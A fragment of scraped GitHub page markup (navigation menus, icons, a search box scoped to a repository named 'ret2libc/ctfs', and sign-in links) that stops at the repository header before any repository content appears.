<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="55764634" data-scoped-search-url="/ret2libc/ctfs/search" data-owner-scoped-search-url="/users/ret2libc/search" data-unscoped-search-url="/search" data-turbo="false" action="/ret2libc/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="4ly2e7O2TaqsT5/BfxMO0V+KW3fCyoirIOLbKmSZIHDzaNIDwJr6qse2m6V9h03/okpjHzDCI1RvdrEFuhfw1Q==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
